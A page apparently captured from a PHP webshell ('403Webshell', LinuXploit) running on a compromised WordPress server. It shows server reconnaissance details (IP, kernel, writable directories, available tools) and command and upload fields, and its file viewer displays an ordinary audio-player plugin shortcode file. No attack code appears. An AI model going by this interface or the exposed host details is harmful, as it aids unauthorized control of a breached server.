403Webshell
Server IP : 167.179.152.94  /  Your IP : 216.73.216.169
Web Server : Apache/2.4.66 (Debian)
System : Linux 6d8cbb3dc321 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/html5-audio-player/shortcode/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/html5-audio-player/shortcode/player.php
<?php
add_shortcode('player', function ($atts) {
  extract(shortcode_atts(array(
    'id' => null,
  ), $atts));


  $post_id = esc_html($atts['id']);
  $post = get_post($id);
  if (!$post) {
    return '';
  }

  if (post_password_required($post)) {
    return get_the_password_form($post);
  }
  switch ($post->post_status) {
    case 'publish':
      return h5ap_player_shortcode_content($post_id);
    case 'private':
      if (current_user_can('read_private_posts')) {
        return h5ap_player_shortcode_content($post_id);
      }
      return '';
    case 'draft':
    case 'pending':
    case 'future':
      if (current_user_can('edit_post', $post_id)) {
        return h5ap_player_shortcode_content($post_id);
      }
      return '';
    default:
      return '';
  }
});

if (!function_exists('h5ap_player_shortcode_content')) {
  function h5ap_player_shortcode_content($post_id)
  {

    $meta = h5ap_get_post_meta($post_id, '_h5ap_plyr');
    $type = $meta('h5ap_player_type');
    $player_theme = $meta('player_theme');
    $player_skin = $meta('player_skin'); // playlist
    $h5vp_default_audio = $meta('h5vp_default_audio');
    $width = $meta('width', ['width' =>  '100', 'unit' =>  '%']);
    $playlist_type = $meta('playlist_type');
    $playlist_in_metabox = $meta('playlist_in_metabox', []);

    $sticky_simple_background = $meta('sticky_simple_background');
    $forward_rewind_change_audio     = $meta('forward_rewind_change_audio');
    $plp_width                      = $meta('plp_width', ['width' => '100', 'unit' => '%']);
    $plp_align                      = $meta('plp_align');
    $plp_volume                     = $meta('plp_volume');
    // $save_state                     = $meta('save_state', false, true);
    $sticky_download                = $meta('sticky_download');
    $sticky_volume                  = $meta('sticky_volume');
    $selected_audio                 = $meta('selected_audio');

    $tracks = [];


    if ($playlist_type !== 'create') {
      foreach ($selected_audio as $id) {
        $playlist_ids = get_post_meta($id, '_h5applaylist');

        foreach ($playlist_ids as $audios) {
          foreach ($audios as $audio) {
            if ($audio['audio'] !== '') {
              $tracks[] = wp_parse_args(['source' => $audio['audio']], $audio);
            }
          }
        }
      }
    } else {
      if (is_array($playlist_in_metabox) && !empty($playlist_in_metabox)) {
        foreach ($playlist_in_metabox as $audio) {
          $tracks[] = [
            'title' => $audio['pl_audio_title'],
            'source' => $audio['pl_audio_file'],
            'poster' => $audio['pl_audio_poster'],
            'artist' => $audio['pl_audio_artist']
          ];
        }
      } // if array is not empty (has data)
      // if(!empty($playlist_in_metabox)) // if array is not empty (has data) 
    }



    $block_types = [
      'opt-1' => 'audioplayer',
      'opt-2' => 'playlist' . $player_skin,
      'opt-3' => 'audioplayer',
    ];

    // return __DIR__ . '/blocks/' . $block_types[$type] . '.php';
    if (file_exists(__DIR__ . '/blocks/' . $block_types[$type] . '.php')) {
      $block = [];
      include __DIR__ . '/blocks/' . $block_types[$type] . '.php';
      // return $narrow_radius;
      return render_block($block);
    }
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit